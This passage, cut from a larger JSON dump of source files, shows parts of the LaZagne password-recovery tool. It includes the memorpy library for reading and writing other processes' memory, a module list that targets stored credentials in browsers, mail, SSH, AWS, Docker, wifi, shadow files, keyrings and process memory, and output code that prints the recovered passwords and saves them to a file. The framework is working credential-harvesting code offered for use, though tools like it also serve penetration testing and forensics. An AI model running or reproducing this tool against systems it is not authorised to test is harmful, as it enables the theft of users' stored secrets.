protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD:\n                    offset += chunk\n                    continue\n            yield offset, chunk\n            offset += chunk\n\n    def write_bytes(self, address, data):\n        address = int(address)\n        if not self.isProcessOpen:\n            raise ProcessException(\"Can't write_bytes(%s, %s), process %s is not open\" % (address, data, self.pid))\n        buffer = create_string_buffer(data)\n        sizeWriten = c_size_t(0)\n        bufferSize = sizeof(buffer) - 1\n        _address = address\n        _length = bufferSize + 1\n        try:\n            old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE)\n        except:\n            pass\n\n        res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten))\n        try:\n            self.VirtualProtectEx(_address, _length, old_protect)\n        except:\n            pass\n\n        return res\n\n    def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False):\n        #print \"reading %s bytes from addr %s\"%(bytes, address)\n        if use_NtWow64ReadVirtualMemory64:\n            if NtWow64ReadVirtualMemory64 is None:\n                raise WindowsError(\"NtWow64ReadVirtualMemory64 is not available from a 64bit process\")\n            RpM = NtWow64ReadVirtualMemory64\n        else:\n            RpM = ReadProcessMemory\n\n        address = int(address)\n        buffer = create_string_buffer(bytes)\n        bytesread = c_size_t(0)\n        data = b''\n        length = bytes\n        while length:\n            if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0):\n                if bytesread.value:\n                    data += buffer.raw[:bytesread.value]\n                    length -= bytesread.value\n                    address += bytesread.value\n                if not len(data):\n                    raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(),\n                     address,\n                     length,\n                     bytesread.value))\n                return data\n            else:\n                if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it\n                    data += buffer.raw[:bytesread.value]\n                    return data\n                raise WinError()\n            # data += buffer.raw[:bytesread.value]\n            # length -= bytesread.value\n            # address += bytesread.value\n        return data\n\n   \n    def list_modules(self):\n        module_list = []\n        if self.pid is not None:\n            hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid)\n            if hModuleSnap is not None:\n                module_entry = MODULEENTRY32()\n                module_entry.dwSize = sizeof(module_entry)\n                success = Module32First(hModuleSnap, byref(module_entry))\n                while success:\n                    if module_entry.th32ProcessID == self.pid:\n                        module_list.append(copy.copy(module_entry))\n                    success = Module32Next(hModuleSnap, byref(module_entry))\n\n                kernel32.CloseHandle(hModuleSnap)\n        return module_list\n\n    def get_symbolic_name(self, address):\n        for m in self.list_modules():\n            if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize):\n                return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr)\n\n        return '0x%08X' % int(address)\n\n    def hasModule(self, module):\n        if module[-4:] != '.dll':\n            module += '.dll'\n        module_list = self.list_modules()\n        for m in module_list:\n            if module in m.szExePath.split('\\\\'):\n                return True\n        return False\n    \n\n    def get_instruction(self, address):\n        \"\"\"\n        Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction.\n        \"\"\"\n        import pydasm\n        try:\n            data = self.read_bytes(int(address), 32)\n        except:\n            return 'Unable to disassemble at %08x' % address\n\n        return pydasm.get_instruction(data, pydasm.MODE_32)\n\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/WinStructures.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong\nfrom ctypes.wintypes import *\n\nif sizeof(c_void_p) == 8:\n    ULONG_PTR = c_ulonglong\nelse:\n    ULONG_PTR = c_ulong\n\n\nclass SECURITY_DESCRIPTOR(Structure): \n    _fields_ = [\n        ('SID', DWORD),\n        ('group', DWORD),\n        ('dacl', DWORD),\n        ('sacl', DWORD),\n        ('test', DWORD)\n    ]\nPSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR)\n\nclass MEMORY_BASIC_INFORMATION(Structure):\n    _fields_ = [('BaseAddress', c_void_p),\n     ('AllocationBase', c_void_p),\n     ('AllocationProtect', DWORD),\n     ('RegionSize', c_size_t),\n     ('State', DWORD),\n     ('Protect', DWORD),\n     ('Type', DWORD)]\n\n# https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx\nclass MEMORY_BASIC_INFORMATION64(Structure):\n    _fields_ = [('BaseAddress', c_ulonglong),\n     ('AllocationBase', c_ulonglong),\n     ('AllocationProtect', DWORD),\n     ('alignement1', DWORD),\n     ('RegionSize', c_ulonglong),\n     ('State', DWORD),\n     ('Protect', DWORD),\n     ('Type', DWORD),\n     ('alignement2', DWORD)]\n\n\n\nclass SYSTEM_INFO(Structure):\n    _fields_ = [('wProcessorArchitecture', WORD),\n     ('wReserved', WORD),\n     ('dwPageSize', DWORD),\n     ('lpMinimumApplicationAddress', LPVOID),\n     ('lpMaximumApplicationAddress', LPVOID),\n     ('dwActiveProcessorMask', ULONG_PTR),\n     ('dwNumberOfProcessors', DWORD),\n     ('dwProcessorType', DWORD),\n     ('dwAllocationGranularity', DWORD),\n     ('wProcessorLevel', WORD),\n     ('wProcessorRevision', WORD)]\n\n\nclass PROCESSENTRY32(Structure):\n    _fields_ = [('dwSize', c_uint),\n     ('cntUsage', c_uint),\n     ('th32ProcessID', c_uint),\n     ('th32DefaultHeapID', c_uint),\n     ('th32ModuleID', c_uint),\n     ('cntThreads', c_uint),\n     ('th32ParentProcessID', c_uint),\n     ('pcPriClassBase', c_long),\n     ('dwFlags', DWORD),\n     #('dwFlags', ULONG_PTR),\n     ('szExeFile', c_char * 260),\n     ('th32MemoryBase', c_long),\n     ('th32AccessKey', c_long)]\n\n\nclass MODULEENTRY32(Structure):\n    _fields_ = [('dwSize', c_uint),\n     ('th32ModuleID', c_uint),\n     ('th32ProcessID', c_uint),\n     ('GlblcntUsage', c_uint),\n     ('ProccntUsage', c_uint),\n     ('modBaseAddr', c_uint),\n     ('modBaseSize', c_uint),\n     ('hModule', c_uint),\n     ('szModule', c_char * 256),\n     ('szExePath', c_char * 260)]\n\n\nclass THREADENTRY32(Structure):\n    _fields_ = [('dwSize', c_uint),\n     ('cntUsage', c_uint),\n     ('th32ThreadID', c_uint),\n     ('th32OwnerProcessID', c_uint),\n     ('tpBasePri', c_uint),\n     ('tpDeltaPri', c_uint),\n     ('dwFlags', c_uint)]\n\n\nclass TH32CS_CLASS(object):\n    INHERIT = 2147483648\n    SNAPHEAPLIST = 1\n    SNAPMODULE = 8\n    SNAPMODULE32 = 16\n    SNAPPROCESS = 2\n    SNAPTHREAD = 4\n    ALL = 2032639\n\n\nModule32First = windll.kernel32.Module32First\nModule32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)]\nModule32First.rettype = c_int\nModule32Next = windll.kernel32.Module32Next\nModule32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)]\nModule32Next.rettype = c_int\n\nProcess32First = windll.kernel32.Process32First\nProcess32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]\nProcess32First.rettype = c_int\nProcess32Next = windll.kernel32.Process32Next\nProcess32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]\nProcess32Next.rettype = c_int\n\nCreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot\nCreateToolhelp32Snapshot.reltype = c_long\nCreateToolhelp32Snapshot.argtypes = [c_int, c_int]\n\nCloseHandle = windll.kernel32.CloseHandle\nCloseHandle.argtypes = [c_void_p]\nCloseHandle.rettype = c_int\n\nOpenProcess = windll.kernel32.OpenProcess\nOpenProcess.argtypes = [c_void_p, c_int, c_long]\nOpenProcess.rettype = c_long\nOpenProcessToken = windll.advapi32.OpenProcessToken\nOpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE))\nOpenProcessToken.restype = BOOL\n\nReadProcessMemory = windll.kernel32.ReadProcessMemory\nReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)]\nReadProcessMemory = windll.kernel32.ReadProcessMemory\n\nWriteProcessMemory = windll.kernel32.WriteProcessMemory\nWriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)]\nWriteProcessMemory.restype = BOOL\n\nif sizeof(c_void_p) == 8:\n    NtWow64ReadVirtualMemory64=None\nelse:\n    try:\n        NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64\n        NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead);\n        NtWow64ReadVirtualMemory64.restype = BOOL\n    except:\n        NtWow64ReadVirtualMemory64=None\n\nVirtualQueryEx = windll.kernel32.VirtualQueryEx\nVirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t]\nVirtualQueryEx.restype = c_size_t\n\n#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx\n#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t]\n#VirtualQueryEx64.restype = c_size_t\n\nPAGE_EXECUTE_READWRITE = 64\nPAGE_EXECUTE_READ = 32\nPAGE_READONLY = 2\nPAGE_READWRITE = 4\nPAGE_NOCACHE = 512\nPAGE_WRITECOMBINE = 1024\nPAGE_GUARD = 256\n\nMEM_COMMIT = 4096\nMEM_FREE = 65536\nMEM_RESERVE = 8192\n\nUNPROTECTED_DACL_SECURITY_INFORMATION = 536870912\nDACL_SECURITY_INFORMATION = 4"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/__init__.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\n\nimport logging\nlogger=logging.getLogger(\"memorpy\")\nlogger.setLevel(logging.WARNING)\nch = logging.StreamHandler()\nch.setLevel(logging.WARNING)\nlogger.addHandler(ch)\n\nimport sys\nfrom .MemWorker import *\nfrom .Locator import *\nfrom .Address import *\nfrom .Process import *\nfrom .utils import *\n#if sys.platform==\"win32\":\n#    from wintools import *  #not a necessary dependency, just used for debugging\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/structures.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nimport sys\nif sys.platform==\"win32\":\n    from .WinStructures import *\nelse:\n    from .LinStructures import *\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/utils.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nimport re\nimport struct\n\ndef re_to_unicode(s):\n    newstring = ''\n    for c in s:\n        newstring += re.escape(c) + '\\\\x00'\n\n    return newstring\n\n\ndef type_unpack(type):\n    \"\"\" return the struct and the len of a particular type \"\"\"\n    type = type.lower()\n    s = None\n    l = None\n    if type == 'short':\n        s = 'h'\n        l = 2\n    elif type == 'ushort':\n        s = 'H'\n        l = 2\n    elif type == 'int':\n        s = 'i'\n        l = 4\n    elif type == 'uint':\n        s = 'I'\n        l = 4\n    elif type == 'long':\n        s = 'l'\n        l = 4\n    elif type == 'ulong':\n        s = 'L'\n        l = 4\n    elif type == 'float':\n        s = 'f'\n        l = 4\n    elif type == 'double':\n        s = 'd'\n        l = 8\n    else:\n        raise TypeError('Unknown type %s' % type)\n    return ('<' + s, l)\n\n\ndef hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):\n    \"\"\"\n    function originally from pydbg, modified to display other types\n    \"\"\"\n    dump = prefix\n    slice = ''\n    if ftype != 'bytes':\n        structtype, structlen = type_unpack(ftype)\n        for i in range(0, len(data), structlen):\n            if addr % 16 == 0:\n                dump += ' '\n                for char in slice:\n                    if ord(char) >= 32 and ord(char) <= 126:\n                        dump += char\n                    else:\n                        dump += '.'\n\n                dump += '\\n%s%08X: ' % (prefix, addr)\n                slice = ''\n            tmpval = 'NaN'\n            try:\n                packedval = data[i:i + structlen]\n                tmpval = struct.unpack(structtype, packedval)[0]\n            except Exception as e:\n                print(e)\n\n            if tmpval == 'NaN':\n                dump += '{:<15} '.format(tmpval)\n            elif ftype == 'float':\n                dump += '{:<15.4f} '.format(tmpval)\n            else:\n                dump += '{:<15} '.format(tmpval)\n            addr += structlen\n\n    else:\n        for byte in data:\n            if addr % 16 == 0:\n                dump += ' '\n                for char in slice:\n                    if ord(char) >= 32 and ord(char) <= 126:\n                        dump += char\n                    else:\n                        dump += '.'\n\n                dump += '\\n%s%08X: ' % (prefix, addr)\n                slice = ''\n            dump += '%02X ' % byte\n            slice += chr(byte)\n            addr += 1\n\n    remainder = addr % 16\n    if remainder != 0:\n        dump += '   ' * (16 - remainder) + ' '\n    for char in slice:\n        if ord(char) >= 32 and ord(char) <= 126:\n            dump += char\n        else:\n            dump += '.'\n\n    return dump + '\\n'\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/version.py",
    "content": "#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n\nversion=(1,7)\nversion_string=\"%s.%s\"%version\n\n"
  },
  {
    "path": "Linux/lazagne/config/lib/memorpy/wintools.py",
    "content": "# Author: Nicolas VERDIER\n# This file is part of memorpy.\n#\n# memorpy is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# memorpy is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with memorpy.  If not, see <http://www.gnu.org/licenses/>.\n\nfrom ctypes import windll\nimport time\n\ndef start_winforeground_daemon():\n\timport threading\n\tt=threading.Thread(target=window_foreground_loop)\n\tt.daemon=True\n\tt.start()\n\ndef window_foreground_loop(timeout=20):\n\t\"\"\" set the windows python console to the foreground (for example when you are working with a fullscreen program) \"\"\"\n\thwnd = windll.kernel32.GetConsoleWindow()\n\tHWND_TOPMOST \t= -1 \n\tSWP_NOMOVE \t\t= 2\n\tSWP_NOSIZE \t\t= 1\n\twhile True:\n\t\twindll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)\n\t\ttime.sleep(timeout)\n\t"
  },
  {
    "path": "Linux/lazagne/config/manage_modules.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom lazagne.config.soft_import_module import soft_import\n# browsers\nfrom lazagne.softwares.browsers.firefox_browsers import firefox_browsers\nfrom lazagne.softwares.browsers.chromium_browsers import chromium_browsers\n\n# mails\nfrom lazagne.softwares.mails.thunderbird_mails import thunderbird_mails\n\ntry:\n    from lazagne.softwares.memory.memorydump import MemoryDump\nexcept ImportError:\n    pass\n\n\ndef get_categories():\n    category = {\n        'chats': {'help': 'Chat clients supported'},\n        'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},\n        'databases': {'help': 'SQL clients supported'},\n        'mails': {'help': 'Email clients supported'},\n        'memory': {'help': 'Retrieve passwords from memory'},\n        'wifi': {'help': 'Wifi'},\n        'browsers': {'help': 'Web browsers supported'},\n        'wallet': {'help': 'Windows credentials (credential manager, etc.)'},\n        'git': {'help': 'GIT clients supported'},\n        'unused': {'help': 'This modules could not be used because of broken dependence'}\n    }\n    return category\n\n\ndef get_modules_names():\n    return [\n        (\"lazagne.softwares.mails.clawsmail\", \"ClawsMail\"),\n        (\"lazagne.softwares.databases.dbvis\", \"DbVisualizer\"),\n        (\"lazagne.softwares.sysadmin.env_variable\", \"Env_variable\"),\n        (\"lazagne.softwares.sysadmin.apachedirectorystudio\", \"ApacheDirectoryStudio\"),\n        (\"lazagne.softwares.sysadmin.filezilla\", \"Filezilla\"),\n        (\"lazagne.softwares.sysadmin.fstab\", \"Fstab\"),\n        (\"lazagne.softwares.browsers.opera\", \"Opera\"),\n        (\"lazagne.softwares.chats.pidgin\", \"Pidgin\"),\n        (\"lazagne.softwares.chats.psi\", \"PSI\"),\n        (\"lazagne.softwares.sysadmin.shadow\", \"Shadow\"),\n        (\"lazagne.softwares.sysadmin.aws\", \"Aws\"),\n        (\"lazagne.softwares.sysadmin.docker\", \"Docker\"),\n        (\"lazagne.softwares.sysadmin.rclone\", \"Rclone\"),\n        (\"lazagne.softwares.sysadmin.ssh\", \"Ssh\"),\n        (\"lazagne.softwares.sysadmin.cli\", \"Cli\"),\n        (\"lazagne.softwares.sysadmin.gftp\", \"gFTP\"),\n        (\"lazagne.softwares.sysadmin.keepassconfig\", \"KeePassConfig\"),\n        (\"lazagne.softwares.sysadmin.grub\", \"Grub\"),\n        (\"lazagne.softwares.databases.sqldeveloper\", \"SQLDeveloper\"),\n        (\"lazagne.softwares.databases.squirrel\", \"Squirrel\"),\n        (\"lazagne.softwares.wifi.wifi\", \"Wifi\"),\n        (\"lazagne.softwares.wifi.wpa_supplicant\", \"Wpa_supplicant\"),\n        (\"lazagne.softwares.wallet.kde\", \"Kde\"),\n        (\"lazagne.softwares.wallet.libsecret\", \"Libsecret\"),\n        (\"lazagne.softwares.memory.mimipy\", \"Mimipy\"),\n        (\"lazagne.softwares.git.gitforlinux\", \"GitForLinux\")\n    ]\n\n    # very long to execute\n    # try:\n    # \tmodule_names.append(MemoryDump())\n    # except:\n    # \tpass\n\n\ndef get_modules():\n    modules = [soft_import(package_name, module_name)() for package_name, module_name in get_modules_names()]\n    return modules + chromium_browsers + firefox_browsers + thunderbird_mails\n"
  },
  {
    "path": "Linux/lazagne/config/module_info.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nname => Name of a class\ncategory => windows / browsers / etc\noptions => dictionary\n - command\n - action\n - dest\n - help\n\nex: ('-s', action='store_true', dest='skype', help='skype')\n- options['command'] = '-s'\n- options['action'] = 'store_true'\n- options['dest'] = 'skype'\n- options['help'] = 'skype'\n\"\"\"\n\nfrom lazagne.config.write_output import print_debug\n\nclass ModuleInfo(object):\n    def __init__(self, name, category, options={}, suboptions=[]):\n        self.name = name\n        self.category = category\n        self.options = {\n            'command': '-{name}'.format(name=self.name),\n            'action': 'store_true',\n            'dest': self.name,\n            'help': '{name} passwords'.format(name=self.name)\n        }\n        self.suboptions = suboptions\n\n    def error(self, message):\n        print_debug('ERROR', message)\n\n    def info(self, message):\n        print_debug('INFO', message)\n\n    def debug(self, message):\n        print_debug('DEBUG', message)\n\n    def warning(self, message):\n        print_debug('WARNING', message)"
  },
  {
    "path": "Linux/lazagne/config/run.py",
    "content": "# -*- coding: utf-8 -*-\n# !/usr/bin/python\nimport getpass\nimport traceback\nfrom collections import OrderedDict\n\nfrom lazagne.config.write_output import print_debug, StandardOutput\nfrom lazagne.config.constant import constant\nfrom lazagne.config.manage_modules import get_categories, get_modules\n\n\ndef create_module_dic():\n    if constant.modules_dic:\n        return constant.modules_dic\n\n    modules = {}\n\n    # Define a dictionary for all modules\n    for category in get_categories():\n        modules[category] = {}\n\n    # Add all modules to the dictionary\n    for m in get_modules():\n        modules[m.category][m.options['dest']] = m\n\n    constant.modules_dic = modules\n    return modules\n\n\ndef run_module(module, subcategories):\n    \"\"\"\n    Run only one module\n    \"\"\"\n    modules_to_launch = []\n\n    # Launch only a specific module\n    for i in subcategories:\n        if subcategories[i] and i in module:\n            modules_to_launch.append(i)\n\n    # Launch all modules\n    if not modules_to_launch:\n        modules_to_launch = module\n\n    for i in modules_to_launch:\n        try:\n            constant.st.title_info(i.capitalize())  # Print title\n            pwd_found = module[i].run()  # Run the module\n            constant.st.print_output(i.capitalize(), pwd_found)  # Print the results\n\n            # Return value - not used but needed\n            yield True, i.capitalize(), pwd_found\n        except Exception:\n            error_message = traceback.format_exc()\n            print_debug('DEBUG', error_message)\n            yield False, i.capitalize(), error_message\n\n\ndef run_modules(category_selected, subcategories):\n    \"\"\"\n    Run modules\n    \"\"\"\n    modules = create_module_dic()\n    categories = {category_selected: get_categories()[category_selected]} \\\n        if category_selected != 'all' else get_categories()\n\n    # Sort dict in reverse mode to run libsecrets as first module\n    for cat in OrderedDict(reversed(sorted(categories.items(), key=lambda t: t[0]))):\n        for r in run_module(modules[cat], subcategories):\n            yield r\n\n\ndef run_lazagne(category_selected='all', subcategories={}):\n    \"\"\"\n    Main function\n    \"\"\"\n    if not constant.st:\n        constant.st = StandardOutput()\n\n    user = getpass.getuser()\n    constant.finalResults = {'User': user}\n\n    for r in run_modules(category_selected, subcategories):\n        yield r\n\n    constant.stdout_result.append(constant.finalResults)\n"
  },
  {
    "path": "Linux/lazagne/config/soft_import_module.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom importlib import import_module\n\nfrom lazagne.config.module_info import ModuleInfo\n\n\ndef soft_import(package_name, module_name):\n    \"\"\" Imports module or return mock object which only print error\n    \"\"\"\n    try:\n        module = import_module(package_name)\n        return getattr(module, module_name)\n    except ImportError as ex:\n\n        #  Emulate import ModuleInfo: return object (function) which generates objects of type ModuleInfo\n        #  This could be done with metaclasses, but now let's just keep it simple.\n        def get_import_error_mock(module_name, exception):\n            return lambda *args, **kwargs: _MOCK_ImportErrorInModule(module_name, exception)\n\n        return get_import_error_mock(module_name, ex)\n\n\nclass _MOCK_ImportErrorInModule(ModuleInfo):\n\n    def __init__(self, name, exception):\n        super(_MOCK_ImportErrorInModule, self).__init__(name, \"unused\")\n        self.__message_to_print = \"Module %s is not used due to unresolved dependence:\\r\\n%s\" % (name, str(exception))\n\n    def run(self):\n        self.error(self.__message_to_print)\n"
  },
  {
    "path": "Linux/lazagne/config/write_output.py",
    "content": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nimport json\nimport logging\nimport getpass\nimport socket\nimport sys\nimport os\n\nfrom lazagne.config.constant import constant\nfrom platform import uname\nfrom time import gmtime, strftime\n\nfrom collections import OrderedDict\n\n\nclass Bcolors():\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OK = '\\033[92m'\n    WARNING = '\\033[96m'\n    FAIL = '\\033[91m'\n    TITLE = '\\033[93m'\n    ENDC = '\\033[0m'\n\n\nclass StandardOutput():\n    def __init__(self):\n        self.banner = '''\n|====================================================================|\n|                                                                    |\n|                        The LaZagne Project                         |\n|                                                                    |\n|                          ! BANG BANG !                             |\n|                                                                    |\n|====================================================================|\n'''\n\n    def set_color(self, color=None):\n        b = Bcolors()\n        sys.stdout.write({'white': b.TITLE,\n                          'red': b.FAIL,\n                          'green': b.OK,\n                          'cyan': b.WARNING}.get(color, b.ENDC))\n\n    # Print banner\n    def first_title(self):\n        self.do_print(message=self.banner, color='white')\n        # Python 3.7.3 on Darwin x86_64: i386\n        python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + \" {0} {4}: {5}\\n\".format(*uname())\n        self.print_logging(function=logging.debug, prefix='[!]', message=python_banner, color='white')\n\n    # Info option for the logging\n    def print_title(self, title):\n        t = u'------------------- ' + title + ' passwords -----------------\\n'\n        self.do_print(message=t, color='white')\n\n    # Debug option for the logging\n    def title_info(self, title):\n        t = u'------------------- ' + title + ' passwords -----------------\\n'\n        self.print_logging(function=logging.info, prefix='', message=t, color=False)\n\n    def write_header(self):\n        time = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n        header = u'{banner}\\r\\n- Date: {date}\\r\\n- Username: {username}\\r\\n- Hostname:{hostname}\\r\\n\\r\\n'.format(\n            banner=self.banner.replace('\\n', '\\r\\n'),\n            date=str(time),\n            username=getpass.getuser(),\n            hostname=socket.gethostname()\n        )\n        open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)),\n             \"a+\").write(header)\n\n    def write_footer(self):\n        footer = '\\n[+] %s passwords have been found.\\r\\n\\r\\n' % str(constant.nb_password_found)\n        open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)),\n             \"a+\").write(footer)\n\n    def print_footer(self, elapsed_time=None):\n        footer = '\\n[+] %s passwords have been found.\\n' % str(constant.nb_password_found)\n        if not logging.getLogger().isEnabledFor(logging.INFO):\n            footer += 'For more information launch it again with the -v option\\n'\n        if elapsed_time:\n            footer += '\\nelapsed time = ' + str(elapsed_time)\n        self.do_print(footer)\n\n    def print_logging(self, function, prefix='[!]', message='', color=False):\n        if constant.quiet_mode:\n            return\n\n        try:\n            msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message)\n        except Exception:\n            msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message))\n\n        if color:\n            self.set_color(color)\n            function(msg)\n            self.set_color()\n        else:\n            function(msg)\n\n    def try_unicode(self, obj, encoding='utf-8'):\n        try:\n            if isinstance(obj, basestring):       # noqa: F821\n                if not isinstance(obj, unicode):  # noqa: F821\n                    obj = unicode(obj, encoding)  # noqa: F821\n        except Exception:\n            pass\n        return obj\n\n    def print_without_error(self, message):\n        try:\n            print(message)\n        except Exception:\n            print(repr(message))\n\n    # Centralize print function\n    def do_print(self, message='', color=False):\n        # Quiet mode => nothing is printed\n        if constant.quiet_mode:\n            return\n\n        message = self.try_unicode(message)\n        if color:\n            self.set_color(color=color)\n            self.print_without_error(message)\n            self.set_color()\n        else:\n            self.print_without_error(message)\n\n    def checks_write(self, values, category):\n        if values:\n            if \"Passwords\" not in constant.finalResults:\n                constant.finalResults[\"Passwords\"] = []\n            constant.finalResults[\"Passwords\"].append([{\"Category\": category}, values])\n\n    def print_output(self, software_name, pwd_found):\n\n        if pwd_found:\n            # If the debug logging level is not apply => print the title\n            if not logging.getLogger().isEnabledFor(logging.INFO):\n                self.print_title(software_name)\n\n            to_write = []\n\n            # Remove duplicated password\n            pwd_found = [OrderedDict(t) for t in set([tuple(d.items()) for d in pwd_found])]\n\n            for pwd in pwd_found:\n                password_category = False\n                # Detect which kinds of password has been found\n                lower_list = [s.lower() for s in pwd]\n                password = [s for s in lower_list if \"password\" in s]\n\n                if password:\n                    password_category = password\n                else:\n                    key = [s for s in lower_list if \"key\" in s]  # for the wifi\n                    if key:\n                        password_category = key\n                    else:\n                        hash = [s for s in lower_list if \"hash\" in s]\n                        if hash:\n                            password_category = hash\n                        else:\n                            cmd = [s for s in lower_list if \"cmd\" in s]\n                            if cmd:\n                                password_category = cmd\n\n                # Do not print empty passwords\n                try:\n                    if not pwd[password_category[0].capitalize()]:\n                        continue\n                except Exception:\n                    pass\n\n                # No password found\n                if not password_category:\n                    print_debug(\"ERROR\", \"Password not found !!!\")\n                else:\n                    # Store all passwords found on a table => for dictionary attack if master password set\n                    constant.nb_password_found += 1\n                    passwd = None\n                    try:\n                        passwd = pwd[password_category[0].capitalize()]\n                        if passwd not in constant.password_found:\n                            constant.password_found.append(passwd)\n                    except Exception:\n                        pass\n\n                    # Password field is empty\n                    if not passwd:\n                        print_debug(\"FAILED\", u'Password not found !!!')\n                    else:\n                        print_debug(\"OK\", u'{password_category} found !!!'.format(\n                            password_category=password_category[0].title()))\n                        to_write.append(pwd)\n\n                for p in pwd:\n                    self.do_print('%s: %s' % (p, pwd[p]))\n                self.do_print()\n\n            # Write credentials into a text file\n            self.checks_write(to_write, software_name)\n        else:\n            print_debug(\"INFO\", \"No passwords found\\n\")\n\n\ndef print_debug(error_level, message):\n    # Quiet mode => nothing is printed\n    if constant.quiet_mode:\n        return\n\n    # Print when password is found\n    if error_level == 'OK':\n        constant.st.do_print(message='[+] {message}'.format(message=message), color='green')\n\n    # Print when password is not found\n    elif error_level == 'ERROR':\n        constant.st.do_print(message='[-] {message}'.format(message=message), color='red')\n\n    elif error_level == 'CRITICAL' or error_level == 'ERROR':\n        constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red')\n\n    elif error_level == 'WARNING':\n        constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan')\n\n    elif error_level == 'DEBUG':\n        constant.st.print_logging(function=logging.debug, message=message, prefix='[!]')\n\n    else:\n        constant.st.print_logging(function=logging.info, 